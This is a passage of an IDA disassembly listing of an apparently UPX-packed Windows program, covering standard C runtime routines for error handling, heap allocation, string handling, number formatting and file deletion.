mov [ebp+var_324], 1
mov [ebp+var_31C], eax
call dword_41D1A8 ; IsDebuggerPresent
push 0
mov ebx, eax
call dword_41D1AC ; SetUnhandledExceptionFilter
lea eax, [ebp+var_2D8]
push eax
call dword_41D1B0 ; UnhandledExceptionFilter
test eax, eax
jnz short loc_40B236
test ebx, ebx
jnz short loc_40B236
push 2
call sub_40E0C0
pop ecx
loc_40B236: ; CODE XREF: sub_40B12D+FBj
; sub_40B12D+FFj
push 0C0000417h
call dword_41D214 ; GetCurrentProcess
push eax
call dword_41D1B4 ; TerminateProcess
mov ecx, [ebp+var_4]
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_40B12D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B255 proc near ; CODE XREF: sub_40AC49+24p
; sub_40B27B+7p ...
mov edi, edi
push ebp
mov ebp, esp
push dword_42E3DC
call sub_40E143
pop ecx
test eax, eax
jz short loc_40B26D
pop ebp
jmp eax
; ---------------------------------------------------------------------------
loc_40B26D: ; CODE XREF: sub_40B255+13j
push 2
call sub_40E0C0
pop ecx
pop ebp
jmp sub_40B12D
sub_40B255 endp
; =============== S U B R O U T I N E =======================================
sub_40B27B proc near ; CODE XREF: sub_4051B7+3Dp
; sub_4052D2:loc_4052DCp ...
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call sub_40B255
add esp, 14h
retn
sub_40B27B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B28B proc near ; CODE XREF: sub_404C2B+28p
; sub_40A1BD+9p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
cmp ecx, ebx
jbe short loc_40B2C2
push 0FFFFFFE0h
xor edx, edx
pop eax
div ecx
cmp eax, [ebp+arg_8]
jnb short loc_40B2C2
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 0Ch
call sub_40B255
add esp, 14h
xor eax, eax
jmp short loc_40B303
; ---------------------------------------------------------------------------
loc_40B2C2: ; CODE XREF: sub_40B28B+Dj
; sub_40B28B+19j
imul ecx, [ebp+arg_8]
push esi
push edi
mov esi, ecx
cmp [ebp+arg_0], ebx
jz short loc_40B2DA
push [ebp+arg_0]
call sub_40E665
pop ecx
mov ebx, eax
loc_40B2DA: ; CODE XREF: sub_40B28B+42j
push esi
push [ebp+arg_0]
call sub_40B8A1
mov edi, eax
pop ecx
pop ecx
test edi, edi
jz short loc_40B2FF
cmp ebx, esi
jnb short loc_40B2FF
sub esi, ebx
push esi
push 0
add ebx, edi
push ebx
call sub_40BD40
add esp, 0Ch
loc_40B2FF: ; CODE XREF: sub_40B28B+5Ej
; sub_40B28B+62j
mov eax, edi
pop edi
pop esi
loc_40B303: ; CODE XREF: sub_40B28B+35j
pop ebx
pop ebp
retn
sub_40B28B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B306 proc near ; CODE XREF: sub_4019F2+7Ep
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 10h
push offset dword_426858
call __SEH_prolog4
xor eax, eax
mov [ebp+var_20], eax
mov [ebp+ms_exc.disabled], eax
mov [ebp+var_1C], eax
loc_40B31D: ; CODE XREF: sub_40B306+30j
mov eax, [ebp+var_1C]
cmp eax, [ebp+arg_8]
jge short loc_40B338
mov esi, [ebp+arg_0]
mov ecx, esi
call [ebp+arg_C]
add esi, [ebp+arg_4]
mov [ebp+arg_0], esi
inc [ebp+var_1C]
jmp short loc_40B31D
; ---------------------------------------------------------------------------
loc_40B338: ; CODE XREF: sub_40B306+1Dj
mov [ebp+var_20], 1
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40B353
call __SEH_epilog4
retn 14h
sub_40B306 endp
; =============== S U B R O U T I N E =======================================
sub_40B353 proc near ; CODE XREF: sub_40B306+40p
; DATA XREF: UPX0:00426870o
cmp dword ptr [ebp-20h], 0
jnz short locret_40B36A
push dword ptr [ebp+18h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40B05D
locret_40B36A: ; CODE XREF: sub_40B353+4j
retn
sub_40B353 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B36B proc near ; CODE XREF: sub_401B6E+35p
; sub_40500B+1AFFp ...
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp sub_40AC11
sub_40B36B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B376 proc near ; CODE XREF: sub_4010AC+1Ep
; sub_401125+10p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_C]
push edi
xor edi, edi
cmp esi, edi
jnz short loc_40B38A
loc_40B386: ; CODE XREF: sub_40B376+4Dj
xor eax, eax
jmp short loc_40B3EF
; ---------------------------------------------------------------------------
loc_40B38A: ; CODE XREF: sub_40B376+Ej
cmp [ebp+arg_0], edi
jnz short loc_40B3AA
loc_40B38F: ; CODE XREF: sub_40B376+61j
call sub_40C862
push 16h
pop esi
mov [eax], esi
loc_40B399: ; CODE XREF: sub_40B376+74j
push edi
push edi
push edi
push edi
push edi
call sub_40B255
add esp, 14h
mov eax, esi
jmp short loc_40B3EF
; ---------------------------------------------------------------------------
loc_40B3AA: ; CODE XREF: sub_40B376+17j
cmp [ebp+arg_8], edi
jz short loc_40B3C5
cmp [ebp+arg_4], esi
jb short loc_40B3C5
push esi
push [ebp+arg_8]
push [ebp+arg_0]
call sub_40E710
add esp, 0Ch
jmp short loc_40B386
; ---------------------------------------------------------------------------
loc_40B3C5: ; CODE XREF: sub_40B376+37j
; sub_40B376+3Cj
push [ebp+arg_4]
push edi
push [ebp+arg_0]
call sub_40BD40
add esp, 0Ch
cmp [ebp+arg_8], edi
jz short loc_40B38F
cmp [ebp+arg_4], esi
jnb short loc_40B3EC
call sub_40C862
push 22h
pop ecx
mov [eax], ecx
mov esi, ecx
jmp short loc_40B399
; ---------------------------------------------------------------------------
loc_40B3EC: ; CODE XREF: sub_40B376+66j
push 16h
pop eax
loc_40B3EF: ; CODE XREF: sub_40B376+12j
; sub_40B376+32j
pop edi
pop esi
pop ebp
retn
sub_40B376 endp
; =============== S U B R O U T I N E =======================================
sub_40B3F3 proc near ; CODE XREF: sub_40B403+8p
mov edi, edi
push ecx
mov dword ptr [ecx], offset off_41D588
call sub_40EA75
pop ecx
retn
sub_40B3F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B403 proc near ; DATA XREF: UPX0:off_41D588o
arg_0 = byte ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
call sub_40B3F3
test [ebp+arg_0], 1
jz short loc_40B41D
push esi
call sub_40AC11
pop ecx
loc_40B41D: ; CODE XREF: sub_40B403+11j
mov eax, esi
pop esi
pop ebp
retn 4
sub_40B403 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B424 proc near ; CODE XREF: sub_410A1C+12Bp
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
add ecx, 9
push ecx
add eax, 9
push eax
call sub_40EAF0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
pop ebp
retn 4
sub_40B424 endp
; =============== S U B R O U T I N E =======================================
sub_40B444 proc near ; CODE XREF: sub_40B45F+3Dp
mov edi, edi
push esi
push 1
push offset off_42A02C
mov esi, ecx
call sub_40AD0A
mov dword ptr [esi], offset off_41D4DC
mov eax, esi
pop esi
retn
sub_40B444 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B45F proc near ; CODE XREF: sub_401652+24p
; sub_403FBF+29p ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0Ch
jmp short loc_40B476
; ---------------------------------------------------------------------------
loc_40B469: ; CODE XREF: sub_40B45F+22j
push [ebp+arg_0]
call sub_40DFCB
pop ecx
test eax, eax
jz short loc_40B485
loc_40B476: ; CODE XREF: sub_40B45F+8j
push [ebp+arg_0]
call sub_40AEA5
pop ecx
test eax, eax
jz short loc_40B469
leave
retn
; ---------------------------------------------------------------------------
loc_40B485: ; CODE XREF: sub_40B45F+15j
test byte ptr dword_42E3EC, 1
mov esi, offset dword_42E3E0
jnz short loc_40B4AC
or dword_42E3EC, 1
mov ecx, esi
call sub_40B444
push offset loc_41C8CB
call sub_40B770
pop ecx
loc_40B4AC: ; CODE XREF: sub_40B45F+32j
push esi
lea ecx, [ebp+var_C]
call sub_407019
push offset dword_426E80
lea eax, [ebp+var_C]
push eax
call sub_40C03B
int 3 ; Trap to Debugger
sub_40B45F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4C4 proc near ; CODE XREF: sub_417173+48p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dx, [ebp+arg_4]
jmp short loc_40B4D9
; ---------------------------------------------------------------------------
loc_40B4D2: ; CODE XREF: sub_40B4C4+1Bj
cmp cx, dx
jz short loc_40B4E8
inc eax
inc eax
loc_40B4D9: ; CODE XREF: sub_40B4C4+Cj
movzx ecx, word ptr [eax]
test cx, cx
jnz short loc_40B4D2
cmp [eax], dx
jz short loc_40B4E8
xor eax, eax
loc_40B4E8: ; CODE XREF: sub_40B4C4+11j
; sub_40B4C4+20j
pop ebp
retn
sub_40B4C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4EA proc near ; CODE XREF: sub_4080FF+103p
; sub_4083DE+417p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
xor edi, edi
cmp [ebp+arg_C], edi
jnz short loc_40B50C
cmp esi, edi
jnz short loc_40B510
cmp [ebp+arg_4], edi
jnz short loc_40B517
loc_40B505: ; CODE XREF: sub_40B4EA+52j
; sub_40B4EA+A1j
xor eax, eax
loc_40B507: ; CODE XREF: sub_40B4EA+46j
; sub_40B4EA+BAj
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B50C: ; CODE XREF: sub_40B4EA+10j
cmp esi, edi
jz short loc_40B517
loc_40B510: ; CODE XREF: sub_40B4EA+14j
mov ebx, [ebp+arg_4]
cmp ebx, edi
ja short loc_40B532
loc_40B517: ; CODE XREF: sub_40B4EA+19j
; sub_40B4EA+24j ...
call sub_40C862
push 16h
pop esi
mov [eax], esi
loc_40B521: ; CODE XREF: sub_40B4EA+CEj
push edi
push edi
push edi
push edi
push edi
call sub_40B255
add esp, 14h
mov eax, esi
jmp short loc_40B507
; ---------------------------------------------------------------------------
loc_40B532: ; CODE XREF: sub_40B4EA+2Bj
cmp [ebp+arg_C], edi
jnz short loc_40B53E
xor eax, eax
mov [esi], ax
jmp short loc_40B505
; ---------------------------------------------------------------------------
loc_40B53E: ; CODE XREF: sub_40B4EA+4Bj
mov edx, [ebp+arg_8]
cmp edx, edi
jnz short loc_40B54C
xor eax, eax
mov [esi], ax
jmp short loc_40B517
; ---------------------------------------------------------------------------
loc_40B54C: ; CODE XREF: sub_40B4EA+59j
cmp [ebp+arg_C], 0FFFFFFFFh
mov eax, esi
jnz short loc_40B568
loc_40B554: ; CODE XREF: sub_40B4EA+7Aj
movzx ecx, word ptr [edx]
mov [eax], cx
inc eax
inc eax
inc edx
inc edx
cmp cx, di
jz short loc_40B589
dec ebx
jnz short loc_40B554
jmp short loc_40B589
; ---------------------------------------------------------------------------
loc_40B568: ; CODE XREF: sub_40B4EA+68j
; sub_40B4EA+93j
movzx ecx, word ptr [edx]
mov [eax], cx
inc eax
inc eax
inc edx
inc edx
cmp cx, di
jz short loc_40B57F
dec ebx
jz short loc_40B57F
dec [ebp+arg_C]
jnz short loc_40B568
loc_40B57F: ; CODE XREF: sub_40B4EA+8Bj
; sub_40B4EA+8Ej
cmp [ebp+arg_C], edi
jnz short loc_40B589
xor ecx, ecx
mov [eax], cx
loc_40B589: ; CODE XREF: sub_40B4EA+77j
; sub_40B4EA+7Cj ...
cmp ebx, edi
jnz loc_40B505
xor eax, eax
cmp [ebp+arg_C], 0FFFFFFFFh
jnz short loc_40B5A9
mov ecx, [ebp+arg_4]
push 50h
mov [esi+ecx*2-2], ax
pop eax
jmp loc_40B507
; ---------------------------------------------------------------------------
loc_40B5A9: ; CODE XREF: sub_40B4EA+ADj
mov [esi], ax
call sub_40C862
push 22h
pop ecx
mov [eax], ecx
mov esi, ecx
jmp loc_40B521
sub_40B4EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5BD proc near ; CODE XREF: sub_408E29+12p
; sub_40A5F1+55p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
lea eax, [ebp+var_4]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40EB78
mov esi, eax
add esp, 0Ch
test esi, esi
jnz short loc_40B5F8
cmp [ebp+var_4], eax
jz short loc_40B5F8
call sub_40C862
test eax, eax
jz short loc_40B5F8
call sub_40C862
mov ecx, [ebp+var_4]
mov [eax], ecx
loc_40B5F8: ; CODE XREF: sub_40B5BD+21j
; sub_40B5BD+26j ...
mov eax, esi
pop esi
leave
retn
sub_40B5BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5FD proc near ; CODE XREF: sub_408FB6+1A1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
push ebx
xor ebx, ebx
cmp ecx, ebx
jnz short loc_40B629
loc_40B60C: ; CODE XREF: sub_40B5FD+2Ej
; sub_40B5FD+35j ...
call sub_40C862
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
jmp short loc_40B646
; ---------------------------------------------------------------------------
loc_40B629: ; CODE XREF: sub_40B5FD+Dj
cmp [ecx], bl
jz short loc_40B60C
mov eax, [ebp+arg_4]
cmp eax, ebx
jz short loc_40B60C
cmp [eax], bl
jz short loc_40B60C
push ebx
lea eax, [ebp+arg_4]
push eax
push ecx
call sub_40ED0F
add esp, 0Ch
loc_40B646: ; CODE XREF: sub_40B5FD+2Aj
pop ebx
pop ebp
retn
sub_40B5FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B649 proc near ; CODE XREF: sub_40B734+18p
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword_43026C
call sub_40E143
push dword_430268
mov edi, eax
mov [ebp+var_4], edi
call sub_40E143
mov esi, eax
pop ecx
pop ecx
cmp esi, edi
jb loc_40B6FC
mov ebx, esi
sub ebx, edi
lea eax, [ebx+4]
cmp eax, 4
jb short loc_40B6FC
push edi
call sub_40E665
mov edi, eax
lea eax, [ebx+4]
pop ecx
cmp edi, eax
jnb short loc_40B6DD
mov eax, 800h
cmp edi, eax
jnb short loc_40B6A0
mov eax, edi
loc_40B6A0: ; CODE XREF: sub_40B649+53j
add eax, edi
cmp eax, edi
jb short loc_40B6B5
push eax
push [ebp+var_4]
call sub_40EFBB
pop ecx
pop ecx
test eax, eax
jnz short loc_40B6CB
loc_40B6B5: ; CODE XREF: sub_40B649+5Bj
lea eax, [edi+10h]
cmp eax, edi
jb short loc_40B6FC
push eax
push [ebp+var_4]
call sub_40EFBB
pop ecx
pop ecx
test eax, eax
jz short loc_40B6FC
loc_40B6CB: ; CODE XREF: sub_40B649+6Aj
sar ebx, 2
push eax
lea esi, [eax+ebx*4]
call sub_40E0C8
pop ecx
mov dword_43026C, eax
loc_40B6DD: ; CODE XREF: sub_40B649+4Aj
push [ebp+arg_0]
call sub_40E0C8
mov [esi], eax
add esi, 4
push esi
call sub_40E0C8
pop ecx
mov dword_430268, eax
mov eax, [ebp+arg_0]
pop ecx
jmp short loc_40B6FE
; ---------------------------------------------------------------------------
loc_40B6FC: ; CODE XREF: sub_40B649+2Aj
; sub_40B649+3Aj ...
xor eax, eax
loc_40B6FE: ; CODE XREF: sub_40B649+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_40B649 endp
; ---------------------------------------------------------------------------
byte_40B703 db 8Bh, 0FFh ; DATA XREF: UPX0:0041D3FCo
; ---------------------------------------------------------------------------
push esi
push 4
push 20h
call sub_40EF6F
mov esi, eax
push esi
call sub_40E0C8
add esp, 0Ch
mov dword_43026C, eax
mov dword_430268, eax
test esi, esi
jnz short loc_40B72D
push 18h
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B72D: ; CODE XREF: UPX0:0040B726j
and dword ptr [esi], 0
xor eax, eax
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B734 proc near ; CODE XREF: sub_40B770+8p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 0Ch
push offset dword_426878
call __SEH_prolog4
call sub_40DB3C
and [ebp+ms_exc.disabled], 0
push [ebp+arg_0]
call sub_40B649
pop ecx
mov [ebp+var_1C], eax
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40B76A
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_40B734 endp
; =============== S U B R O U T I N E =======================================
sub_40B76A proc near ; CODE XREF: sub_40B734+28p
; DATA XREF: UPX0:00426890o
call sub_40DB45
retn
sub_40B76A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B770 proc near ; CODE XREF: sub_40B45F+47p
; sub_40DB8F+46p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push [ebp+arg_0]
call sub_40B734
neg eax
sbb eax, eax
neg eax
pop ecx
dec eax
pop ebp
retn
sub_40B770 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B787 proc near ; CODE XREF: sub_417173+2Cp
; sub_4173E1+80p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
cmp word ptr [ebx], 0
push edi
mov edi, eax
jz short loc_40B7E0
movzx ecx, word ptr [eax]
test cx, cx
jz short loc_40B7DE
movzx edx, cx
sub eax, ebx
loc_40B7A9: ; CODE XREF: sub_40B787+55j
mov ecx, [ebp+arg_4]
test dx, dx
jz short loc_40B7CC
loc_40B7B1: ; CODE XREF: sub_40B787+43j
movzx edx, word ptr [ecx]
test dx, dx
jz short loc_40B7E4
movzx ebx, word ptr [eax+ecx]
movzx edx, dx
sub ebx, edx
jnz short loc_40B7CC
inc ecx
inc ecx
cmp [eax+ecx], bx
jnz short loc_40B7B1
loc_40B7CC: ; CODE XREF: sub_40B787+28j
; sub_40B787+3Bj
cmp word ptr [ecx], 0
jz short loc_40B7E4
inc edi
inc edi
movzx edx, word ptr [edi]
inc eax
inc eax
test dx, dx
jnz short loc_40B7A9
loc_40B7DE: ; CODE XREF: sub_40B787+1Bj
xor eax, eax
loc_40B7E0: ; CODE XREF: sub_40B787+13j
; sub_40B787+5Fj
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B7E4: ; CODE XREF: sub_40B787+30j
; sub_40B787+49j
mov eax, edi
jmp short loc_40B7E0
sub_40B787 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7E8 proc near ; CODE XREF: sub_40B83C+20p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jz short loc_40B7FE
push 2Dh
pop edx
mov [ecx], dx
add ecx, 2
neg eax
loc_40B7FE: ; CODE XREF: sub_40B7E8+9j
push esi
mov esi, ecx
loc_40B801: ; CODE XREF: sub_40B7E8+32j
xor edx, edx
div [ebp+arg_0]
cmp edx, 9
jbe short loc_40B810
add edx, 57h
jmp short loc_40B813
; ---------------------------------------------------------------------------
loc_40B810: ; CODE XREF: sub_40B7E8+21j
add edx, 30h
loc_40B813: ; CODE XREF: sub_40B7E8+26j
mov [ecx], dx
inc ecx
inc ecx
test eax, eax
ja short loc_40B801
xor eax, eax
mov [ecx], ax
dec ecx
dec ecx
loc_40B823: ; CODE XREF: sub_40B7E8+4Dj
mov dx, [esi]
movzx eax, word ptr [ecx]
mov [ecx], dx
dec ecx
mov [esi], ax
dec ecx
inc esi
inc esi
cmp esi, ecx
jb short loc_40B823
pop esi
pop ebp
retn 8
sub_40B7E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B83C proc near ; CODE XREF: sub_40971E+19p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
mov eax, [ebp+arg_0]
jnz short loc_40B854
test eax, eax
jge short loc_40B854
push 1
push 0Ah
jmp short loc_40B859
; ---------------------------------------------------------------------------
loc_40B854: ; CODE XREF: sub_40B83C+Cj
; sub_40B83C+10j
push 0
push [ebp+arg_8]
loc_40B859: ; CODE XREF: sub_40B83C+16j
mov ecx, [ebp+arg_4]
call sub_40B7E8
mov eax, [ebp+arg_4]
pop ebp
retn
sub_40B83C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B866 proc near ; CODE XREF: sub_40B896+6j
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push [ebp+arg_0]
call dword_41D1A4 ; DeleteFileA
test eax, eax
jnz short loc_40B880
call dword_41D1D8 ; RtlGetLastWin32Error
jmp short loc_40B882
; ---------------------------------------------------------------------------
loc_40B880: ; CODE XREF: sub_40B866+10j
xor eax, eax
loc_40B882: ; CODE XREF: sub_40B866+18j
test eax, eax
jz short loc_40B892
push eax
call sub_40C888
pop ecx
or eax, 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B892: ; CODE XREF: sub_40B866+1Ej
xor eax, eax
pop ebp
retn
sub_40B866 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B896 proc near ; CODE XREF: sub_408FB6+84p
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp sub_40B866
sub_40B896 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8A1 proc near ; CODE XREF: sub_40B28B+53p
; sub_40EFBB+Fp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0040B9EE SIZE 000000CE BYTES
push 10h
push offset dword_426898
call __SEH_prolog4
mov ebx, [ebp+arg_0]
test ebx, ebx
jnz short loc_40B8C2
push [ebp+arg_4]
call sub_40AEA5
pop ecx
jmp loc_40BA8E
; ---------------------------------------------------------------------------
loc_40B8C2: ; CODE XREF: sub_40B8A1+11j
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_40B8D5
push ebx
call sub_40ADC8
pop ecx
jmp loc_40BA8C
; ---------------------------------------------------------------------------
loc_40B8D5: ; CODE XREF: sub_40B8A1+26j
cmp dword_430290, 3
jnz loc_40BA75
loc_40B8E2: ; CODE XREF: sub_40B8A1+169j
xor edi, edi
mov [ebp+var_1C], edi
cmp esi, 0FFFFFFE0h
ja loc_40BA7A
push 4
call sub_40CFA9
pop ecx
mov [ebp+ms_exc.disabled], edi
push ebx
call sub_40CFDC
pop ecx
mov [ebp+var_20], eax
cmp eax, edi
jz loc_40B9AB
cmp esi, dword_430280
ja short loc_40B95E
push esi
push ebx
push eax
call sub_40D4DA
add esp, 0Ch
test eax, eax
jz short loc_40B929
mov [ebp+var_1C], ebx
jmp short loc_40B95E
; ---------------------------------------------------------------------------
loc_40B929: ; CODE XREF: sub_40B8A1+81j
push esi
call sub_40D7BB
pop ecx
mov [ebp+var_1C], eax
cmp eax, edi
jz short loc_40B95E
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_40B941
mov eax, esi
loc_40B941: ; CODE XREF: sub_40B8A1+9Cj
push eax
push ebx
push [ebp+var_1C]
call sub_40E710
push ebx
call sub_40CFDC
mov [ebp+var_20], eax
push ebx
push eax
call sub_40D00C
add esp, 18h
loc_40B95E: ; CODE XREF: sub_40B8A1+72j
; sub_40B8A1+86j ...
cmp [ebp+var_1C], edi
jnz short loc_40B9AB
cmp esi, edi
jnz short loc_40B96D
xor esi, esi
inc esi
mov [ebp+arg_4], esi
loc_40B96D: ; CODE XREF: sub_40B8A1+C4j
add esi, 0Fh
and esi, 0FFFFFFF0h
mov [ebp+arg_4], esi
push esi
push edi
push dword_42E724
call dword_41D0D4 ; RtlAllocateHeap
mov [ebp+var_1C], eax
cmp eax, edi
jz short loc_40B9AB
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_40B995
mov eax, esi
loc_40B995: ; CODE XREF: sub_40B8A1+F0j
push eax
push ebx
push [ebp+var_1C]
call sub_40E710
push ebx
push [ebp+var_20]
call sub_40D00C
add esp, 14h
loc_40B9AB: ; CODE XREF: sub_40B8A1+66j
; sub_40B8A1+C0j ...
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40B9E5
cmp [ebp+var_20], 0
jnz short loc_40B9EE
test esi, esi
jnz short loc_40B9C2
inc esi
loc_40B9C2: ; CODE XREF: sub_40B8A1+11Ej
add esi, 0Fh
and esi, 0FFFFFFF0h
mov [ebp+arg_4], esi
push esi
push ebx
push 0
push dword_42E724
call dword_41D1A0 ; RtlReAllocateHeap
mov edi, eax
jmp short loc_40B9F1
sub_40B8A1 endp
; =============== S U B R O U T I N E =======================================
sub_40B9DF proc near ; DATA XREF: UPX0:004268B0o
mov esi, [ebp+0Ch]
mov ebx, [ebp+8]
sub_40B9DF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40B9E5 proc near ; CODE XREF: sub_40B8A1+111p
push 4
call sub_40CECF
pop ecx
retn
sub_40B9E5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40B8A1
loc_40B9EE: ; CODE XREF: sub_40B8A1+11Aj
mov edi, [ebp+var_1C]
loc_40B9F1: ; CODE XREF: sub_40B8A1+13Cj
test edi, edi
jnz loc_40BAB8
cmp dword_42EBC8, edi
jz short loc_40BA2D
push esi
call sub_40DFCB
pop ecx
test eax, eax
jnz loc_40B8E2
call sub_40C862
cmp [ebp+var_20], edi
jnz short loc_40BA86
loc_40BA1A: ; CODE XREF: sub_40B8A1+1F8j
mov esi, eax
call dword_41D1D8 ; RtlGetLastWin32Error
push eax
call sub_40C820
pop ecx
mov [esi], eax
jmp short loc_40BA8C
; ---------------------------------------------------------------------------
loc_40BA2D: ; CODE XREF: sub_40B8A1+15Ej
test edi, edi
jnz loc_40BAB8
call sub_40C862
cmp [ebp+var_20], edi
jz short loc_40BAA7
mov dword ptr [eax], 0Ch
jmp short loc_40BAB8
; ---------------------------------------------------------------------------
loc_40BA47: ; CODE XREF: sub_40B8A1+1D7j
test esi, esi
jnz short loc_40BA4C
inc esi
loc_40BA4C: ; CODE XREF: sub_40B8A1+1A8j
push esi
push ebx
push 0
push dword_42E724
call dword_41D1A0 ; RtlReAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_40BAB8
cmp dword_42EBC8, eax
jz short loc_40BA9E
push esi
call sub_40DFCB
pop ecx
test eax, eax
jz short loc_40BA94
loc_40BA75: ; CODE XREF: sub_40B8A1+3Bj
cmp esi, 0FFFFFFE0h
jbe short loc_40BA47
loc_40BA7A: ; CODE XREF: sub_40B8A1+49j
push esi
call sub_40DFCB
pop ecx
call sub_40C862
loc_40BA86: ; CODE XREF: sub_40B8A1+177j
mov dword ptr [eax], 0Ch
loc_40BA8C: ; CODE XREF: sub_40B8A1+2Fj
; sub_40B8A1+18Aj
xor eax, eax
loc_40BA8E: ; CODE XREF: sub_40B8A1+1Cj
; sub_40B8A1+219j
call __SEH_epilog4
retn
; ---------------------------------------------------------------------------
loc_40BA94: ; CODE XREF: sub_40B8A1+1D2j
call sub_40C862
jmp loc_40BA1A
; ---------------------------------------------------------------------------
loc_40BA9E: ; CODE XREF: sub_40B8A1+1C7j
test edi, edi
jnz short loc_40BAB8
call sub_40C862
loc_40BAA7: ; CODE XREF: sub_40B8A1+19Cj
mov esi, eax
call dword_41D1D8 ; RtlGetLastWin32Error
push eax
call sub_40C820
mov [esi], eax
pop ecx
loc_40BAB8: ; CODE XREF: sub_40B8A1+152j
; sub_40B8A1+18Ej ...
mov eax, edi
jmp short loc_40BA8E
; END OF FUNCTION CHUNK FOR sub_40B8A1
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BABC proc near ; CODE XREF: sub_408F0F+7p
; sub_415EED+37p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push 0Ah
push 0
push [ebp+arg_0]
